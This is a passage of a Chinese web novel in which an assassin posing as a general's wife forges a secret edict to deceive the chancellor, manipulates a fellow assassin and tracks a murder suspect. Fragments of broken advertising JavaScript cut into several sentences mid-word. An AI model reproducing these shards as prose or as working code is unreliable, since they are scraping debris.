“他的对手?你是说?”离情又皱起眉头问道。 “丞相,而且密诏这件事,想必就是和丞相有关,甚至可能这背后之人就是丞相。” “那这样说来,若是丞相想要这密诏,定是这密诏要么是有利于丞相,要么就是丞相的把柄,但是这样看来,可能他本人并不知道这具体内容是什么,可阿浅,你又如何断定,我们伪造的这份密诏能瞒天过海呢?” 梁浅看向窗外,仿佛一切运筹帷幄,“我们伪造的这封内容是来源于萧老将军去世前先帝下的最后一道圣旨,内容无非是关于前线战况的调整以及让萧老将军回京之事。” 离情想起自己刚刚看的信,疑惑地问道:“可刚刚我看信件中的内容不止这些,其他的都是你加的?” 梁浅点了点头,“其实后来我打听过,这封圣旨从京城到边塞要的时间可不少啊,圣旨还没到,萧老将军便已然晕了过去,后来这封圣旨也就没有当众宣读,如今又会被萧明渊带回京城,想必是在萧老将军的病床前告知的,圣旨上写的内容,丞相若是有心查自然早就查到了,所以我才故意加了两句,‘信递之,听其言,京中有变,速回。’ 我无非就是想浑水摸鱼诈诈丞相,当年据说去宣旨之人乃是先帝亲信,所以他必然知道些许内幕,或许先帝没有写下来,而是告诉他了呢。全部是真话他会不信,全部是假话他也不信,所以就是这种真假参半的,才让人难辨真假。” 离情点点头,“那确实很可能会迷惑到丞相,那我们的千两黄金不就指日可待?” 梁浅见自己师父这般做梦的样子,出声打断她,笑着无奈的说道:“师父,这钱必然会缩水的,您先别做美梦,先不说这背后之人若真是丞相,哪怕信了我们这套说辞,这么多金子,他丞相府再贪,也舍不得一口气拿得出来吧,加上他对于这密诏,本来就不确信,如今看来结果含糊其辞,也只是将‘嫌疑’又转向了他人,若要继续调查,还得要钱呢。 加上萧明渊回京,很多事情把他逼得紧,他上上下下还需要花钱打点,更不说宫里还有他的妹妹,当今的太后,太后若只靠宫中的供给怎么能做到过得如此奢靡,因此他很可能到时候再给阁主施压,最后到我们手里的也不会太多。” 离情听下来也觉得梁浅说的是理,只是叹了叹气,“那你觉得我们还能拿到多少?” 梁浅随意说道:“千八百两应该是有,可是师父,如今更重要的是,我们以前的单主或许有阁主在,不敢乱来,可是丞相就不一定了,丞相此人,在朝多年,心狠手辣,他说不定不会放过我们这些知情之人。” 离情听到这里也是泛起了忧愁,满脸紧张,梁浅更是发觉她好像有些发抖,“那这样,到时候我还是易容去阁主处领赏金,之后我们便逃到西南去,能走多远是多远。” 梁浅站起身,轻轻抱住离情的身体,这位将她抚养长大的人,其实也是十分直爽之人,这些年跟着她,梁浅也发现,她接单都是快准狠的要求,要人要物提来便是,而这些弯弯绕绕的计谋,她并不擅长,也不想接触,所以梁浅能理解她的本能反应就是逃避。 “师父,我们逃,又能逃到哪里?若是阁主被控制,我们姓氏名谁不也轻易就能被丞相掌握,即便户籍上能过关,那丞相派出来的杀手永远只会是不达目的不罢休的追杀我们。 况且,我的面貌已然在丞相面前暴露过,现在在他眼中,我便是萧明渊的新婚妻子柳烟晴,以前师父同我出门做事,我们都有作易容之术,可当时我进萧府时想着盖着新娘的盖头,便未花时间易容,后来更是失忆,所以我如今与这身份是剥离不开了,但是我们不可就这样固步自封不是吗?如今,我们何不利用它,多为我们谋些事情呢?” 离情逐渐冷静了下来,“那你的意思是我们继续待在京中。” 梁浅点点头,看着离情回应道:“最危险的地方就是最安全的地方,他定然想到我们会逃跑,到时候师父你易容去领赏后,我们便假装出城,若是有杀手,能将其引到其他地方,我们便安全了,况且还有那件事,我们不是还没有做到吗?我们此次进京除了为赏金,还为了……那件事。” 离情听到这里,也懂了梁浅的暗示,眼神逐渐变得肯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 定起来,“所以那个人,我们一定要杀。” 梁浅点了点头,将桌上的茶水又倒了一杯递给离情,离情接过茶水又向梁浅问道:“所以接下来,你打算怎么办?” “赏金我们要,钱我们也要赚,总得为以后的生活打算嘛,我打算盘一家客栈,开一家酒楼,你想,过段时间,进京赶考的学子不就需要住店了?还有天气逐渐热起来,我们再卖些酸梅汤,平日里还有家常菜,在来些包间服务,雅间服务。 到时候那件事结束,想必我们的店也经营起来了,你我至少都有了保障。那或许才是我的最后一次任务真正完成,对吗?师父。”梁浅蹲在离情面前,趴在她的膝盖上,满脸笑意的看着她。 离情此时才觉得之前自己身边的那个小迷糊长大了,忽而又转念一想,或许这个苦命的孩子一直就很成熟,只是一直没有展露出来罢了,这段时间不知道她又经历了什么,以至于让她迅速成长起来,也变得更加肯定自身,离情感叹道,自己如今还得站在她身后被她保护着了的人了。 离情点点头,摸摸梁浅的脸,两人抱在一起,梁浅此时也觉得心里暖暖的,原来再次听到有人叫自己的名字才感觉真正的自己还活着。 * 梁浅回到萧府,刚放下从师父那里带回来的点心,芸香便走了进来,将一封信递给了梁浅。 “小姐早些时候说过的周大人来过了,这是给小姐的信和腰牌。” 梁浅点了点头,然后先将一包点心递到芸香手中,才看起信来,信中是周玉描述的他今日查看记录的结果,梁浅对他看书的速度还是有些惊讶的,没想到看信发现这人字也写的不错,而且还真查出了一些东西。 信中周玉说道,虽然进王家的人没有再查到些什么其他的眉目了,但是他却发现去年冬天,和疑犯同日进京的一个人,后来进了丞相府当差,且周玉已经将相关信息列在了信中,梁浅将那人的信息记在脑中,便转身将信烧掉了。 梁浅看着烧信的火光在跳动着,自己心里也想到,看来,如今不仅王家得看着,丞相府也得有人看着,只不过自己暂时还没有想好是自己出人去看,还是告诉萧明渊,让他的人去,至少自己如今也需要一步一步扩展自己的“视野”了。 * 梁浅来到马场,只见萧明汐果然在练马,而在马场的边上,梁浅却注意到一个身影正一直盯着萧明汐一动不动。 梁浅走了过去,原来竟然是已经换上萧家马夫衣服的无面,不知是不是无面看的太过出神,梁浅走近他都一直没有发现。 “干嘛呢,无师傅。”在神游的无面被梁浅突然的出声吓了一跳,见到是梁浅便礼都没管,直接转身继续看向萧明汐了。 “啧啧啧,小心别把自己看痴了,无师傅。”梁浅站在一旁吐槽道。 32. 第三十二章·无面的心思 此时萧明汐正专心骑马,并未注意这边的动静,于是无面转身看着梁浅,“夫人,以我所见,密诏之事是不是即将成事了?夫人不要忘记我的那份才好,且如今这事也办的差不多了,我的解药。” 无面假笑着威胁梁浅,梁浅也笑着看着他,果然自己的猜测挺准,他如今是想分钱跑路了,可是不得不承认这人的能力还是有的,自己现在在京城也还有事情要做,不如继续将他留下,暂时为己所用。 如今看来,除了赏金和毒牵制他之外,就只有……那个人了,梁浅又看了看正在骑马的萧明汐,为了印证自己的猜想,如今只有大胆一试。 在观察周围确认没有别人之后,梁浅看向无面,无面看着梁浅这番举动,感觉身上有股冷意,“你要干什么?” 梁浅转移注意力道:“没什么,哎,你看,明汐是不是要掉马了,好危险!” 无面赶紧转身看向马场,“怎么了,怎么了。”梁浅乘机给了无面背上一掌,他一脸懵的转过来时,梁浅就顺便封住了他的穴道,“对不住了,无大哥,你放心,不会有性命之忧的。” 无面一脸震惊的看着梁浅,然后便对自己的身体失去控制,径直倒了下去。 梁浅立刻表演了起来,“无师傅,你这是怎么啦!快来人啊!” 此时萧明汐才注意到这边的动静,骑着马赶到两人面前,将马儿栓好,走到两人面前。 “无大哥,你怎么样?”萧明汐朝无面问道,可是无面却只是睁着眼睛看着她,好像在尽力摇头,可是因为封了穴道,所以摇动的幅度并不大。 梁浅继续演着,“明汐你快看看,无师傅这是怎么了。”梁浅记得萧明汐之前说过,她在军队当过军医,可是梁浅如今赌的是,她在前线的战场上,更多接触的是外科,对于这些江湖把戏,她不一定有把握。 果然萧明汐把了脉之后,满脸焦急,可是也确定不出病症,于是这会儿马场的其他马夫也过来了,梁浅叫他们去叫郎中,自己则和萧明汐一起把无面扶起来,让另外一位马夫背他回去。 就在梁浅帮忙一起拉无面起来的时候,梁浅瞥到无面恨着自己的眼神,梁浅只是同样满脸焦急,还笑着安慰道:“没事的没事的,无大哥别紧张啊。”听到这里无面的眼睛里面恨意更深了。 梁浅和萧明汐都跟了过来,梁浅这时候想找个理由只开萧明汐,于是转身拦着萧明汐进去,“明汐,你还是别进去了,这府中上下人多眼杂的。” 萧明汐拉开了梁浅的手说道:“在前线跟着医师之时,我什么没有见过,要说什么便任他们说去。”见状便要跟着进来。 梁浅这时候听到明汐的这番话,竟然才意识到,自己之前不是都和萧明渊说不在乎他人言语,这萧明汐将门虎女,更是见过战场残酷的人,怎么会被这种理由吓退。 梁浅无奈的摇了摇头,没有再阻拦,这会儿郎中也慢慢悠悠走了进来,结果马场的一位马夫急冲冲的跑了过来,“小姐,小姐,白雨好像有些不对劲,您快去看看吧。” 萧明汐此时有些进退两难,梁浅虽然心中暗暗察觉此事来得有些太巧了,但是见到萧明汐的这番神情,便安慰她说:“去看看吧,明汐,这边有我。” 明汐往里面看了一眼,点了点头便往马场过去了,梁浅则跟着走到无面的床边查看情况,此时无面在郎中扎了一针后,原来的症状有些缓解,便吞吞吐吐地冲梁浅说着,“郎中来了,你完了。” 因为萧明汐的离开,所以刚刚跟过来的人送无面进来后便走了,如今房中只有郎中、无面、梁浅三人,梁浅听出来无面的话,只是又看着他笑了笑。 “无师傅,在我‘成亲’之前,我和师父好几次任务结束后,只要我一落单,便会有一个人来抢我的功劳,虽然我在师父面前表现得不聪明,可是这不代表我笨到认不出那人是谁吧,我想也是因为你屡次打不过我心中也有怨恨吧,后来又来抢我的密诏,乘我失忆还捉弄我,我说得对不?” 梁浅心平气和地说着之前的事情,无面听到梁浅在郎中面前这么直白的将这些事情说出来,先是疑惑地皱着眉头,然后才明白过来,“原来……你们是……一伙。” 此时梁浅朝郎中行礼,“方师叔辛苦了,还请方师叔到一旁吃一盏茶,我同这人还有事要讲。” 方师叔收齐自己的针和药,点了点头,提着药箱走到了一旁,还将门关上了,“你这丫头,不知道又在弄些什么,我这一把老骨头可被折腾得够呛,不是我从后门来的时候,悄悄往马圈撒了点药,还不知道怎么引开其他人呢。” “多谢师叔,还是师叔考虑得周到。”梁浅这才解开了无面的一部分穴道,无面感觉自己能说话了,便顿时破口大骂。 “好你个候夫人,这么记仇,我还以为你都忘了呢,还好心同你合作,结果到头来你都只是利用我,看我不撕了你。”无面想坐直身子,结果身上还是使不上力气。 无面挣扎着骂了好一会儿,自己实在是累了,才叹着气停了下来。 梁浅倒了一杯茶水,轻轻地吹着,“骂够没有?” 无面懒得看他,颓废地瘫坐着,见他发泄完,梁浅才走过来,解了他的穴,将茶水递给他,无面拿起茶一饮而尽。 “不怕我下毒?”梁浅看着无面有些好笑。 “我吃的毒还少?说起来你今天在明汐面前演着一出是干嘛?想印证明汐是不是对我有情?”无面有些开玩笑地回应着。 “哼,少自作多情,明汐这人,本就心地善良,今天是谁在那里晕过去她都会关心的,更何况你无大哥你不是还是她的救命恩人?”梁浅调侃起来之前无面“英雄救美”那件事情,心中更是对暗自对明汐道歉,抱歉,明汐,这次利用了你,以后我一定会补偿你的。 梁浅看得出,自己这番话说完后,无面的表情有些失望,但还是无奈地问道:“那你这样做只是为了报复我?” 梁浅抱着手坐在一旁,犹豫了一下,“差不多,我真正的用意你正好猜反了,我不是要印证明汐对你有情,而是要印证你对明汐有情,与此同时,我只不过赌了一把,赌你在她面前演的比我还柔弱,这样更容易让她相信。” 无面心事重重地低下了头,梁浅问道:“你喜欢她?” 无面嘴角挤出一抹笑意,点了点头,“可是……我配不上她,我不过是一个靠着赏金过活的刺客,既没有能力,也没有钱,更不如她。” 梁浅点了点头,又给自己重新倒起了茶,“你知道就好。” “对了,你师叔的药不会对马儿……”无面抬头看着梁浅担心地问道。 梁浅看了看师叔,他正在看桌上的茶具,好像全然没有听这边的对话,于是梁浅摇了摇头,“放心,师叔有分寸。” 梁浅见他又低下了头沉思着,梁浅又继续说着,“你的毒我已经解了,你要走哪里走吧,钱的话,你看到那件事下了赏金榜之后再来萧府一趟,我会给你。” “你还要留在萧家?”无面对梁浅此举有些疑惑。 “对呀,这身份这么好用,可比什么在暗夜里潜行的刺客好赚钱不是?况且如今我也同明汐相交甚好,自然是要看着她出嫁的呀。”梁浅刻意加重了明汐出嫁这几个字,然后偷偷观察着无面 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的表情。 “出……嫁,嫁给谁?”无面不自信地问道。 梁浅故意摆出假装对这件事不重视的态度回应着,“那就不知道了,说不定陛下又很可能让她与丞相一派的人联姻?唉,这陛下看似帮助着萧明渊,实际上也不过是想看二虎相争的戏码罢了,容不得哪家一家独大,况且萧明渊这边,已然因为我,让众多世家大族断了一条联姻的路子,那些人怎么会又放过明汐这边。” 无面听得有些愣神,这些时日,他一直沉浸在每日能见萧明汐一面就好的美梦中,见到她骑马舞剑,见到她满心抱负,见到她英姿飒爽,自己深觉自己配不上他,可是自己总是不敢去想她的未来,只是每天贪婪地想再见她一面,她的怒笑嗔痴也逐渐融化在自己心中。 如今梁浅只是将这样一种可能戳破,自己怎么会感觉这么……难受。 梁浅看到无面这般样子便知道自己的话起了作用,他也是仗着自己那点三脚猫功夫得了些便宜,对于未来始终不敢去想,其实这人自己内心也一直在逃避吧,让他看看残酷的现实也没什么不好。 于是梁浅继续火上浇油,“唉,你喜欢她,可是什么都给不了她,甚至不能成为她的助力……哦,人家也不需要你的这点助力。或许你想你可以多接点事儿,多赚些赏金,可是你赚那点钱自然也比不上萧府树大根深的……” 其实无面将梁浅的话都听了进去,于是只剩下沉默,忽而师叔又插了一句进来,“不是听说这二小姐只是萧家的养女?且行事作风与京城中的大家闺秀大相径庭,也不受族中人待见。” 梁浅也跟着捧哏起来,“养女怎么了,只要她是萧家的女儿,别人就不会在乎她是不是养女,甚至我可以说有的人不在意她是不是‘萧明汐’,只在乎她是谁的女儿,她的背后是谁罢了。” “唉,好了,说了这么多,我也该走了,你也离开萧府吧,信命吧。”梁浅站起身来对无面冷冷地说着,添上自己的最后一把火。 无面沉思片刻,像做了什么重要决定一般,一下子从床上坐了起来,然后一改刚刚低迷的样子,坚定地看着窗外说道:“我才不信命,我无面要是信命,又怎么可以炼化这一身的本事,早就被饿死了。” 梁浅调侃道,“你可想好,这可是两回事,说不定以后明汐也不会要你。” “要不要我确实是她说了算……可我选择在她身边,是我的事,我要变得更好,变得配得上她,你别在这里撺掇我走,我以后要成为她的助力,要成为能站在她身侧的男人,而且我知道,她一定会离开这里的,她是游于天地间的云雾,不受拘束,更是能实现自身抱负的勇者,她永远不是困在笼中的鸟。 如今我终于找到一个真心喜欢的人,她最后选不选我……不重要,我会留下,我要留在她身边,我会证明给你看的,你别在这里刺激我了。” 见到无面一脸坚毅的样子,说着说着好像在威胁梁浅一样,梁浅也没有想到他这么快就决定了,梁浅还以为还要费一些口舌呢。 虽然如今这场景和自己最开始想象的好像有点不同,但是效果还是不错的。 于是梁浅继续假装不在意地说道:“哦,你怎么样决定我本来也不好干涉,可是如果你决定留下来,那你就还是我柳家的人不是?在这萧府,还是得听我的,否则,你知道我什么都干得出来的。” 无面皱了皱眉,好像没有发现什么不对,他觉得反正面前这人也和明汐关系好,有时候说不定还能帮我美言几句,跟着她干事,其实她给钱也还挺干脆的,于是便点了点头,“这是小问题,不过,现在我们怎么收场?” 33. 第三十三章·喝醉 “收场?你不是最会这种戏码嘛,一会儿你说自己是旧疾发作,我师叔再你开个什么治头昏脑热的方子,晚上保管你活蹦乱跳。”梁浅回应着无面。 无面对梁浅这番话有些无语,于是又躺了下去,梁浅见状便走过去和师叔交谈着接下来的事。 无面躺在床上,呆呆地看着天花板,心想自己的内心究竟想的是什么呢?自己只为明汐留下,像梁浅说的,是否能够有结果呢。 这时门外传来叩门的声音,梁浅才将门打开,明汐就蹦了进来,“无大哥怎样了?” 结果一进来就引起了无面的注意,明汐就这样和无面四目相对,无面呆呆的样子,见状应该是好得差不多了,明汐竟然一下子就转过了身,“没……没事就好。” 梁浅见到萧明汐这番样子,心中多起了一份怀疑,莫非这两人真的……于是梁浅也就不再打扰,将方子留下就跟着师叔一同出来了。 于是房中便只剩下明汐和无面两个人,房中十分安静,都不说话。 “你,没死吧。”明汐半晌才飞出一句话。 无面坐了起来,点头嗯了一声,“多谢二小姐关切,小人不过是旧疾发作,郎中扎了针,已然好多了” 然后无面便剧烈的咳嗽起来,明汐赶紧从一旁倒了一杯茶水递给他,无面接过水,偷偷地看向明汐,明汐只是别看目光,看向别处。 “多谢小姐,小的无以为报……”无面喝了一口水,便朝明汐说道。 “好了好了,莫不是上回的伤还没有养好,你可别死了,你欠我的多了,一句谢谢可不够。” 听到明汐这样说,无面忙解释道:“小姐是说我上回不小心亲了你……” “好了好了,别说了,这事我还没有和你好好盘算呢。”明汐忙打断无面,手已经握成拳头了。 “我说了,那是个意外,我不是故意的,我当时确实自己换不了自己身上的药,所以才请小姐帮我。”无面边解释着还边比划着,“然后我手撑着这里,然后有些酸了,这才不……小心……让小姐滑到我的身上的,才亲……” “你的意思是我做事慢得咯,当年我战场上,包扎过的士兵比你这辈子见过的……马都多。” “不敢不敢,小姐愿意帮忙,已然是小人之幸。”无面又恭敬地给萧明汐作揖行礼。 明汐灵机一转,这事也不该让他拿到主动权,于是便又故作温和地说道:“嗐,其实这样看来,是我亲了你,我萧明汐不是不负责的人,放心,我会负责的,虽然你……长得也一般,身体也不好……” 无面看到萧明汐打量自己的眼神,立刻坐正,“我长得一般?”我这样脸当年江南一游,多少人为我倾倒,自己做的其他脸怎么变都感觉不如自己这张本尊的脸,无面心想。 萧明汐眨巴着眼睛,不为所动,“不然呢?我在军中见过的比你威武雄壮的男子比比皆是,你这小身板,动不动就晕,说得好像谁在乎。” “不在乎?那你打算怎么负责?” “嗯,给你些钱?” “那我成什么啦?” …… 梁浅送师叔出来,两人走在走廊上,师叔叹了叹气,“浅儿啊,你这是将自己越陷越深了不是?” 梁浅摇了摇头,平和地说道:“师叔,我又怎会不知呢,可不入虎穴焉得虎子,如今这个身份在京中行事,暂无后顾之忧,我利用一下也没有什么害处。” 师叔喃喃道,“没有什么害处。”又转头对梁浅说:“孩子,万事还是小心为上。” 梁浅点了点头,拿出了一个药瓶递给师叔,“师叔,这是我师父新做的药丸,说让我带过来给师叔品鉴。” “好,师妹这是又鼓捣什么新奇的东西了,让我好好瞧瞧。” * 送师叔回去之后,梁浅一个人回到了房间,这一天到晚的,给自己弄得够累,自己也没有胃口,便百无聊赖的坐在桌边看着书,时不时又把那荷包拿过来缝两下。 忽而见到自己梳妆台上竟然放着自己之前找了好久都找不到的“唇膏”,还是当时自己做的,还以为遗失在哪里了,竟然没有想到就在自己眼前。 正好梁浅觉得自己嘴也干了,刚刚擦好,正对着镜子欣赏,就听芸香有些慌忙地进来。 “烟晴小姐,姑爷从宫里回来了,只不过喝醉了,万星他们正扶着他过来呢。” 梁浅皱了皱眉,“宫里?” 芸香点了点头,梁浅却一点不着急。 “芸香,不着急,你帮我去煮些醒酒汤来。”见芸香出门,梁浅也拿起屋子里的小壶烧起了热水。 梁浅心想萧明渊喝醉这件事,在梁浅听来是不太可能的,先不说这人这些年在军中,多少次庆功宴,光是大婚那日,嗯?大婚那日,他大婚那日喝醉了吗? 正在梁浅回忆的片刻,万星已然扶着萧明渊回来了,萧明渊走路摇摇晃晃,眼睛也是好像闭着的样子,梁浅见到这样子反而有些怀疑这次萧明渊是不是真的喝醉了。 同万星一起将萧明渊扶到床上,梁浅才问起缘由,“不是说去大理寺吗?怎的又去了宫中,还喝得这样醉。” 万星忙解释道:“说是陛下临时想起,要给张贵妃办一个生辰宴,这才又将大人叫到了宫中,见到了大人,陛下又私下里问起大人案子,听案子进展不错,便拉着大人多喝了几杯。” 梁浅点了点头,“嗯,万星你辛苦了,你先回去休息吧,这里有我。” 梁浅心中都暗自吐槽,今天怎么老是说这话。 * 看着躺在床上一动不动的萧明渊,梁浅伸手去戳了戳他的脸,“这是真醉假醉?” 他现在像个木头一样一动不动,仿佛被点穴了一样,好像有点太夸张了,于是梁浅边帮萧明渊擦着手,边想到一个主意,要不然试试他。 于是梁浅在擦完萧明渊的手后,就朝他的手背掐了一下,见他没有反应,便稍微加重了一些力气又掐了一下,抬头见还是没有反应,给他手上吹了一下便趴到他的旁边。 “唉,终于喝醉了,这张脸长得真不错呢,要不然现在乘机亲你一下呢。”梁浅十分刻意地说着,也仔细地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 观察着萧明渊脸上的表情。 虽然不算很明显,但是当梁浅说到要亲萧明渊的时候,她看到萧明渊的眉毛很快的动了一下,又迅速恢复了原状,梁浅忍住笑意,然后慢慢靠近萧明渊的脸。 萧明渊感受到梁浅的呼吸就在自己的旁边,还在不断的靠近,自己也不知不觉地屏住了呼吸,在期待着接下来的事。 结果梁浅在距离萧明渊的脸只有半拳的距离时停住了,但是自己的呼吸还是不经意的吹到萧明渊的脸上,就这样过了半晌,萧明渊终于等不急,悄悄地眯起一只眼睛,就看到梁浅正睁着眼睛看着自己。 萧明渊吓得赶紧又闭上了眼睛,梁浅自然捕捉到了刚刚这一幕,也顿时没有忍住笑出了声,“哈哈哈,别装了夫君,起来喝碗醒酒汤吧。” 萧明渊这才无奈的坐起身,然后用手捂着自己刚刚被梁浅掐过的地方。 “你什么时候看出来的?”萧明渊端着碗问道。 “本来我是没有看出来的,只想试试你的,没想到你自己先露怯了。”梁浅捂着嘴偷笑。 萧明渊没有再说什么,只是将醒酒汤都喝完,然后装成不经意的样子看向门口,“万星你怎么又回来了?” 梁浅也顺着他的视线转身看去,结果什么人都没有看到,于是皱着眉又转过身来,正打算问萧明渊为什么骗自己,结果一转身,萧明渊便凑了过来。 嘴唇上感受到了一种与众不同的触感,是萧明渊的唇,从他的嘴里透出来的一股淡淡的酒味,梁浅还闻到他身上的熏香的味道。 梁浅顿住了,她这一刻只是睁着眼睛,呆呆的看着对面的床帘,反应过来后,梁浅伸手想推开萧明渊,手才碰到他的肩膀,萧明渊的唇便离开了她。 萧明渊睁开眼睛慢慢地坐回来,却不敢再看向梁浅,梁浅也不敢看他,只是语气有些急促地说道:“你……你这是干什么?” “嗯……我……就……我们之前的约定,每日都要……你答应过的,我们好几日都没……这样的话,我就算你抵消了……”萧明渊支支吾吾地说着。 梁浅怀疑地看着他,叹了叹气说道:“我看不止这个原因吧。” 梁浅将帕子又递到他手里,萧明渊擦着自己的脸和脖子,“确实我今日有些感触。” 梁浅问道:“万星不是说今日是给张贵妃办生日宴?”梁浅心中还是疑惑,这种大型宴会不是应该提前告知京城的众人,作为家眷不是也应该提前请过去,却只让萧明渊去了。 “嗯,只听说是今早陛下才得知张贵妃有孕,所以才说要给她办生辰。”萧明渊顿了顿,见梁浅认真地看着自己,又继续说道,“宴上其实也不止张贵妃,更有其他的妃嫔,本来还请了皇后,皇后称病未到。” 梁浅皱着眉头从萧明渊手里拿过手帕,心想他说这些做什么,萧明渊仿佛看出了她心中的疑惑。 “宴会上这么多人,可是我见陛下手中仍然拿着一串白玉的串珠……那串珠是多年前,陛下少年时认识的……一位女子的,可见这么多年,他还是放不下……”萧明渊喃喃地说着。 34. 第三十四章·追踪 梁浅伸了伸懒腰,打着哈欠自言自语道:“腰酸背痛,这榻怎么这么难睡。” 昨夜萧明渊给梁浅讲八卦,结果他自己还没有讲完,就先睡着了,于是梁浅只有睡在榻上,让萧明渊自己睡床。 还是如往日一般,萧明渊早就离开了,梁浅今日也有事情要做,于是起身换起了男装。 * “我们这是在找谁?”无面盯着街上王家的队伍,百无聊赖地问着梁浅。 “嗯,找杀王尚书的疑犯。”梁浅站在一棵树上,无面则站在旁边的房舍上。 “王尚书的案子和我有什么关系?干嘛拉我过来?” “我轻功没有你好,到时候要追人的话自然得请你帮忙咯,而且此事若成,也能赚到钱呢。”梁浅也仔细观察着街道上的动静。 “能赚钱啊,那我确实可以考虑一番,可这案子不是归大理寺管?萧明渊他们定是派人沿路跟着的,我们何必呢?”无面一脸疑惑。 “大理寺的人不能全信,万一找到人却告他个畏罪潜逃,到时候死无对证,不仅受冤之人无法洗刷清白,咱钱也别想拿了。”梁浅注意到队伍中有一个人悄悄脱离的队伍,“快,快,无面,那个人有鬼,你去看看。” 无面顺着梁浅指的方向疾步走去,然后又飞下了屋顶,等队伍差不多走到梁浅附近后,无面一脸淡然地回来了。 于是梁浅问道:“怎么?让他跑了?” 无面翻了翻白眼,“你到底知不知道是谁呀,那大哥是内急,要去上茅房,这不,人已经回去了。”无面示意梁浅看看队伍,果然梁浅一回头就看到刚刚那人慌慌忙忙地回到了队伍中去。 梁浅冲着无面尴尬一笑,“对不住,我确实只知道名字不知道长相,所以只能看谁擅自离队便怀疑谁了。” 于是两人混在队伍的最后跟着王家一起出了城,所以这时也不敢堂而皇之地离开,等到队伍到茶肆休息时,两人乘混乱才打算离开,结果梁浅和无面才走到茶肆的背后,便见到有一人从对面走了出来。 梁浅正打算往树上面爬,结果和那人一对视,那人便紧张得转头就跑,边跑边将丧服的外衣脱了丢在路边,梁浅忙叫了无面一声,无面见状先跳到旁边院墙上以轻功追了过去,梁浅则在路上朝着那人跑去的地方追去。 那人貌似也是有些功夫的,腿脚极快,不仅往周围的商户人家到处乱蹿,还一路上各种捣乱想阻断梁浅的前行之路。 还好他没有注意到一直在高处追寻他的无面,自己也慌不择路走到了一处堆放杂物的巷子,于是他忙着将路上的几样杂物推开,却没有想到这放在下面的木凳越来越重,搬也搬不动,一抬头,无面已然站在上面。 王五吓了一跳,于是转身想往回逃走,结果气喘吁吁的梁浅也到了,“你……还挺能跑,而且你弄人老百姓的摊子作甚……人招你惹你了。” 王五又往后退了一步,满头大汗地说:“老子这是逃命!我才不管他这么多。” 无面正将手搭在他肩膀上,正打算说跟我们走,却没有想到王五从怀里掏出了什么东西,梁浅大声地提醒着无面:“无面小心!” 无面往后一躲,却还是被那人撒的粉末影响到了,梁浅也立刻上前去牵制王五,没有想到王五有些功夫,竟然和梁浅能打个来回。 无面能睁开眼睛后,便立刻过来帮梁浅一同制伏王五,两人共同合作,终于让王五躬下了身子,无面将他向下压去,梁浅则扣着他的手,结果他正好瞥见梁浅藏在靴子里面的匕首,便使出全身力气踩了无面的脚,又撞开无面,一把抢过梁浅鞋子里面的匕首,然后便朝梁浅狠狠刺去…… 梁浅一时手上松了力气,便让他得逞了,王五拿到了匕首,就朝梁浅刺去,梁浅往后一退,躲过了他的第一次攻击,他见到梁浅和自己拉开了距离,也敏感地感受到身后的无面在靠近,于是他便乘机朝身后一刺。 眼见无面就要被刺到,他却顿时楞在了原地,梁浅边大声地提醒,边朝这边赶过来。 忽而一个人影闪过,将王五手中的刀一脚踢开,原来是萧明汐,明汐站到了无面身前,此时萧明渊带着大理寺的人也赶到了,便将王五抓了起来。 萧明汐见到人抓到了,这才转过身看向无面,“你在干什么!他的刀就快要刺到你身上了,你怎么呆住了,你不要命了,你不是说你怎么怎么厉害,怎么怎么有才……” 萧明渊也赶紧走到梁浅身前,关切地问道:“怎么样?有没有伤到哪里?是我来迟了,我若再细心观察些,早一些赶过来,或许……” 萧明渊拉着梁浅的手说了半晌,梁浅见周围人都在等着萧明渊说接下来的事,梁浅便将萧明渊的手从拉开,然后偏着头看了看一旁的人,又向萧明渊行礼道,“小纽子没事,大人,您看,此人是否就是王尚书案的疑犯。” 萧明渊看梁浅身上没有什么伤,也看懂了她的用意,于是便转身去看疑犯,梁浅面前的人走开后,这才看到对面的萧明汐和无面两人。 萧明汐还在吐槽无面,无面则低着头听着,见梁浅这边的视线转了过来,无面便伸出手轻轻地拽了拽萧明汐的衣角。 萧明汐这才没有继续说下去,转身过来拉着梁浅看了又看,“没事吧。”萧明汐出声询问。 梁浅摇了摇头,“明汐,你怎么也过来了?” 萧明汐听到梁浅这样问,便拽了她走得远些,抱着手说道:“早早我便见到你同无面一起出门,嫂嫂还扮成了男子,我便有些疑惑,于是一路跟着你们过来,到了城门人多才跟丢了,后来追上队伍,却未见到你们,在四处找的时候才又遇到哥哥……还好,还是赶上了。” 梁浅哦了一声,点了点头,然后又抬头看向萧明汐,“多谢你们及时相助,话说,你是怎么发现我和无面一同出门的,晨时你不是都在院中练剑吗?” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >萧明汐转了转眼珠,没有继续看着梁浅,只是朝无面那边看了一眼,才倔强地说道:“我今日想先去骑马就看到了……不说这个,嫂嫂你们有这么有趣……不是,厉害的案子参与竟然不叫上我,哼。” 梁浅笑着回她,“在外别叫我嫂嫂了,我们不是结拜了姐妹嘛,你叫我姐姐如何?” “好,本来我就想叫姐姐的,只不过府里的有些人看人下菜碟,我怕他们为难你,所以每次都叫你嫂嫂,好让他们不敢小瞧你。” “我知道你的苦心,可他人小瞧与否,也从不在于这一个称呼,更为重要的是我们自己不可妄自菲薄才是。”梁浅刚说完,便见到萧明渊那边也问得差不多了,于是便同明汐一同走了过去。 “如何?他是不是就是我们要找的王二?”梁浅见其他人将疑犯押上了马车,才朝萧明渊问道。 只见萧明渊摇了摇头,“他并非王二,而是王五。” 梁浅这才意识到,自己脑子一热,竟然只追着这可疑之人反而忘了再去看着队伍,想必是中了调虎离山之计了。 “他和王二是什么关系?”梁浅立即严肃地问道。 “这还不能确定,他也并不松口。”萧明渊叹了叹气。 “那如今我们恐怕是中了调虎离山之计,真正的王二或许早就逃之夭夭了……”萧明汐出声说道,而梁浅低头沉思着,想着接下来的对策。 “我要押他回去大理寺受审,你与我一同回去?”萧明渊看着梁浅。 梁浅摇了摇头,眉头紧锁,最后仿佛是下定决心一般,才终于说道:“你回去审他,我要继续追下去,找到真正的凶手。” 